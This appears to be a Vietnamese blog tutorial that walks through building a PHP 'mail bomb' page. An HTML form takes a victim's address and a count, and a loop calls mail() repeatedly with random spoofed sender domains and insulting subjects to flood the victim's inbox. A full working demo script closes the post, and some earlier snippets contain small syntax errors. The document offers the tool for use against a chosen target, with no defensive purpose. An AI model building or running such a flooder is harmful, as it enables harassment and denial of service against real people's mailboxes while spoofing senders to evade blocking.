----- Yêu cầu:
- Biết sơ qua về php, html, css.
- Biết mình đang làm gì
----- Bắt đầu:
Bước 1: Xác định bài toán:
- Chúng ta sẽ viết 1 chương trình php đơn giản, trong đó sử dụng hàm mail gửi mail liên tục về 1 địa chỉ victim cố định, gây ngập lụt hòm mail đối phương.
- Thông tin cần thiết gồm có:
+ Địa chỉ email của victim
+ Địa chỉ gửi đi
+ Số lượng mail gửi đi
Bước 2: Xây dựng mã HTML:
- Tạo 1 form HTML đơn giản, nhập email đối phương, số lượng, và nút Bom:
HTML Code:
<html> <body><center> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom"> Victim:<input name="mail" type=""text"><br> Số lượng: <input name="soluong" type="text"><br> <input type="submit" name="submit" value="Bom"> </form> </center></body> </html>
Bước 3: xây dựng mà PHP:
- Xây dựng hàm tạo chuỗi string random, mục đích đưa vào làm domain giả gửi mail, làm tiêu đề và nội dung:
PHP Code:
function rand_string($length) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
PHP Code:
$mail=$_POST['mail'];$soluong=$_POST['soluong'];$i=1;
PHP Code:
If ($_POST['submit']){
While ($i<=$soluong){mail($mail,$subject,$content,$header);$i++;
}
}
PHP Code:
$content=rand_string(100)." - Password để ngừng bom mail: " md5(rand_string(10));$subject="Fuck you - ".rand_string(10). " - " .md5(rand_string(10));$mailfrom="BYG-".rand_string(8)."@".rand_string(6).".com";$header="From: $mailfrom<$mailfrom>" . "\r\n" .
"X-Mailer: PHP/" . phpversion();
Demo:
PHP Code:
<html>
<body><center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
<?phpfunction rand_string($length) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}$mail=$_POST['mail'];$soluong=$_POST['soluong'];$i=1;
If ($_POST['submit']){
While ($i<=$soluong){$content=rand_string(100)." - Password để ngừng bom mail: ". md5(rand_string(10));$subject="Fuck you - ".rand_string(10). " - " .md5(rand_string(10));$mailfrom="BYG-".rand_string(8)."@".rand_string(6).".com";$header="From: $mailfrom<$mailfrom>" . "\r\n" .
"X-Mailer: PHP/" . phpversion();mail($mail,$subject,$content,$header);$i++;
echo $i." ".$mailfrom." - ".$mail."<br>";
}
}?></form>
</center></body>
</html>
No comments:
Post a Comment